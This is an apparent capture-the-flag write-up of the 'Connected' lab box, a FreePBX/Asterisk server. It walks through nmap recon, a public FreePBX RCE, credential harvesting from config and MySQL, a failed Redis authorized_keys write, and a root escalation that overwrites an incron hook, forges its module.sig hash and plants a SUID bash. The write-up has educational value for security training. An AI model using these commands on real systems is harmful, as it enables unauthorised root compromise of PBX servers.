Connected
Connected is a Linux (CentOS) box built around a FreePBX / Asterisk PBX
appliance. Foothold comes from a known FreePBX remote code execution that drops
us in as the low‑privileged asterisk user. Root falls out of the sysadmin
module’s incron hooks: those scripts run as root, and while they’re
integrity‑checked against a module.sig file, we control that file too — so we
overwrite a hook, re‑sign it, and trigger it.
Reconnaissance
Section titled “Reconnaissance”Nmap scan report for 10.129.4.88Host is up (0.036s latency).Not shown: 997 filtered tcp ports (no-response)Some closed ports may be reported as filtered due to --defeat-rst-ratelimitPORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 7.4 (protocol 2.0)| ssh-hostkey:| 2048 4e:60:38:6f:e7:78:6c:ca:58:62:a1:f1:56:ae:8d:30 (RSA)| 256 12:41:55:26:9d:ad:3d:e8:bf:4e:31:aa:d7:d1:a5:d2 (ECDSA)|_ 256 8e:b6:96:e0:21:83:5d:1d:ce:8d:e2:6a:dd:38:c6:75 (ED25519)80/tcp open http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16)|_http-title: Did not follow redirect to http://connected.htb/|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16443/tcp open ssl/http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16)|_http-title: 400 Bad Request| ssl-cert: Subject: commonName=pbxconnect/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--| Not valid before: 2025-11-30T14:07:27|_Not valid after: 2026-11-30T14:07:27|_ssl-date: TLS randomness does not represent time|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16Three services: SSH and HTTP on 80/443. The port 80 title redirects to a
vhost, and the TLS certificate commonName=pbxconnect already hints this is a
PBX appliance.
Add the vhost to /etc/hosts:
echo '10.129.4.88 connected.htb' | sudo tee -a /etc/hostsWeb Enumeration
Section titled “Web Enumeration”Browsing to http://connected.htb/ serves the PBX admin UI. The application is
FreePBX version 16.0.40.7 — old enough to be vulnerable to a public
remote‑code‑execution chain.
Initial Foothold
Section titled “Initial Foothold”Initial access is via the public FreePBX RCE Metasploit module. Running it
against the target lands a shell as the asterisk service account.
Local Enumeration
Section titled “Local Enumeration”SUID binaries
Section titled “SUID binaries”/usr/bin/fusermount/usr/bin/passwd/usr/bin/sudo/usr/bin/chfn/usr/bin/chsh/usr/bin/mount/usr/bin/chage/usr/bin/gpasswd/usr/bin/newgrp/usr/bin/su/usr/bin/umount/usr/bin/pkexec/usr/bin/crontab/usr/bin/incrontab/usr/bin/at/usr/bin/staprun/usr/sbin/pam_timestamp_check/usr/sbin/unix_chkpwd/usr/sbin/usernetctl/usr/sbin/userhelper/usr/lib/polkit-1/polkit-agent-helper-1/usr/libexec/dbus-1/dbus-daemon-launch-helper/usr/libexec/abrt-action-install-debuginfo-to-abrt-cacheNothing here is the intended path (though pkexec / staprun are always worth
noting). Keep going.
Listening services
Section titled “Listening services”Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program nametcp 0 0 127.0.0.1:4000 0.0.0.0:* LISTEN -tcp 0 0 127.0.0.1:27017 0.0.0.0:* LISTEN -tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -tcp 0 0 127.0.0.1:6379 0.0.0.0:* LISTEN -tcp 0 0 127.0.0.1:5038 0.0.0.0:* LISTEN 1308/asterisktcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -A rich set of loopback‑only services:
| Port | Service |
|---|---|
| 4000 | Vega HTTP proxy |
| 27017 | MongoDB |
| 3306 | MySQL |
| 6379 | Redis |
| 5038 | Asterisk Manager Interface (AMI) |
| 22 | SSH |
FreePBX database credentials
Section titled “FreePBX database credentials”FreePBX keeps its DB credentials in its config file:
$amp_conf["AMPDBUSER"] = "freepbxuser";$amp_conf["AMPDBPASS"] = "mZzDpAGKTmPJ";$amp_conf["AMPDBHOST"] = "localhost";$amp_conf["AMPDBNAME"] = "asterisk";$amp_conf["AMPDBENGINE"] = "mysql";$amp_conf["datasource"] = "";That gives us freepbxuser : mZzDpAGKTmPJ against the asterisk database.
Linux connected 5.4.239-1.el7.elrepo.x86_64 #1 SMP Thu Mar 30 10:40:27 EDT 2023 x86_64 x86_64 x86_64 GNU/LinuxPoking the port 4000 service
Section titled “Poking the port 4000 service”[asterisk@connected ~]$ curl -s http://localhost:4000{"status": 400, "message": "Vega to proxy to isn't specified"}A Vega proxy — interesting, but not the way in.
MySQL — Asterisk database
Section titled “MySQL — Asterisk database”Dumping the FreePBX user tables, only the ampusers table yields anything: an
admin account with a SHA‑1 password hash.
[asterisk@connected ~]$ mysql -u freepbxuser -pmZzDpAGKTmPJ asterisk -e "select username,password_sha1 from userman_users;" 2>/dev/null[asterisk@connected ~]$ mysql -u freepbxuser -pmZzDpAGKTmPJ asterisk -e "select * from userman_users;" 2>/dev/null[asterisk@connected ~]$ mysql -u freepbxuser -pmZzDpAGKTmPJ asterisk -e "select * from users;" 2>/dev/null[asterisk@connected ~]$ mysql -u freepbxuser -pmZzDpAGKTmPJ asterisk -e "select * from ampusers;" 2>/dev/null+----------+-------+-----------+------------------------------------------+---------------+----------------+----------+----------+| username | email | extension | password_sha1 | extension_low | extension_high | deptname | sections |+----------+-------+-----------+------------------------------------------+---------------+----------------+----------+----------+| admin | | | 05c689686a4fad5ce3ec76e7ae5708b1fe2da43a | | | | * |+----------+-------+-----------+------------------------------------------+---------------+----------------+----------+----------+Redis — write primitive? (dead end)
Section titled “Redis — write primitive? (dead end)”Redis is unauthenticated, so the classic move is to relocate its dump file into
/root/.ssh and write an authorized_keys. The service isn’t running as root,
though, so the directory change is denied:
[asterisk@connected ~]$ redis-cli -h 127.0.0.1 pingPONG[asterisk@connected ~]$ redis-cli -h 127.0.0.1 CONFIG GET dir1) "dir"2) "/var/lib/redis"[asterisk@connected ~]$ redis-cli -h 127.0.0.1 CONFIG GET dbfilename3) "dbfilename"4) "dump.rdb"[asterisk@connected ~]$ redis-cli -h 127.0.0.1 CONFIG SET dir /root/.ssh(error) ERR Changing directory: Permission deniedA root process on a loop
Section titled “A root process on a loop”Watching ps aux shows root periodically shelling out to run sudo -l -S:
asterisk 55203 ... /bin/sh -c sudo -l -S | grep -E "sudoedit|sudo -e" | grep -E '\(root\)|\(ALL\)|\(ALL : ALL\)' | rev | cut -d " " -f 1 | revroot 55204 ... sudo -l -Sasterisk 55206 ... grep -E \(root\)|\(ALL\)|\(ALL : ALL\)...Confirmation that something automated runs as root on a timer — exactly the kind
of trust boundary the sysadmin module leans on.
The real vector — sysadmin incron hooks
Section titled “The real vector — sysadmin incron hooks”linpeas surfaces the FreePBX sysadmin module’s incron watches. When a
trigger file is written into the spool directories, root runs the matching hook
script:
/var/spool/asterisk/sysadmin/vpnget IN_CLOSE_WRITE /usr/sbin/sysadmin_openvpn -d/var/spool/asterisk/sysadmin/intrusion_detection_stop IN_CLOSE_WRITE /etc/init.d/fail2ban stop/var/spool/asterisk/sysadmin/update_system_cron IN_CLOSE_WRITE /usr/sbin/sysadmin_update_set_cron/var/spool/asterisk/sysadmin/portmgmt_setup IN_CLOSE_WRITE /usr/sbin/sysadmin_portmgmt/var/spool/asterisk/sysadmin/wanrouter_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_wanrouter_restart/var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart/usr/local/asterisk/ha_trigger IN_CLOSE_WRITE /usr/sbin/sysadmin_ha/usr/local/asterisk/incron IN_CLOSE_WRITE /usr/bin/sysadmin_manager --local $#/var/spool/asterisk/incron IN_MODIFY,IN_ATTRIB,IN_CLOSE_WRITE /usr/bin/sysadmin_manager $#The key line is the /var/spool/asterisk/incron watch, handled by
sysadmin_manager. It runs, as root, the hook script named by the trigger
file — e.g. dropping sysadmin.reboot makes it execute
.../sysadmin/hooks/reboot. The catch: sysadmin_manager first verifies each
hook’s SHA‑256 against .../sysadmin/module.sig. Since asterisk owns both the
hook and module.sig, we can simply re‑sign our payload.
Privilege Escalation
Section titled “Privilege Escalation”- Overwrite the
reboothook with a payload that makes a SUID copy of bash. - Recompute its SHA‑256 and patch the matching line in
module.sigso the integrity check passes. - Drop the trigger file so
sysadmin_managerruns the hook as root.
# 1. Back up and replace the reboot hook with our payloadcp /var/www/html/admin/modules/sysadmin/hooks/reboot /tmp/reboot.bakcat > /var/www/html/admin/modules/sysadmin/hooks/reboot << 'EOF'#!/bin/bashcp /bin/bash /tmp/rootbashchmod +s /tmp/rootbashEOFchmod +x /var/www/html/admin/modules/sysadmin/hooks/reboot
# 2. Forge the signature so the integrity check passesNEW_HASH=$(sha256sum /var/www/html/admin/modules/sysadmin/hooks/reboot | cut -d' ' -f1)sed -i "s|hooks/reboot = .*|hooks/reboot = ${NEW_HASH}|" /var/www/html/admin/modules/sysadmin/module.siggrep "reboot" /var/www/html/admin/modules/sysadmin/module.sig # verify
# 3. Trigger the hook (root executes it via incron)touch /var/spool/asterisk/incron/sysadmin.rebootAfter the trigger fires, the SUID bash is waiting in /tmp:
[asterisk@connected ~]$ /tmp/rootbash -prootbash-4.2# iduid=1000(asterisk) gid=1000(asterisk) euid=0(root) ...rootbash-4.2# cat /root/root.txtTakeaways
Section titled “Takeaways”- Fingerprint the appliance first. The TLS cert (
pbxconnect) and the FreePBX version pointed straight at the RCE. - Loopback services are a map, not the treasure. MySQL, Redis, Mongo and the Vega proxy were all reachable, but only the FreePBX config creds mattered — and the Redis “write anywhere” trick was a deliberate rabbit hole.
- Integrity checks you can rewrite aren’t integrity checks. The
sysadminhooks run as root but validate against amodule.sigowned by the same low‑priv user — so forging the hash is the whole game.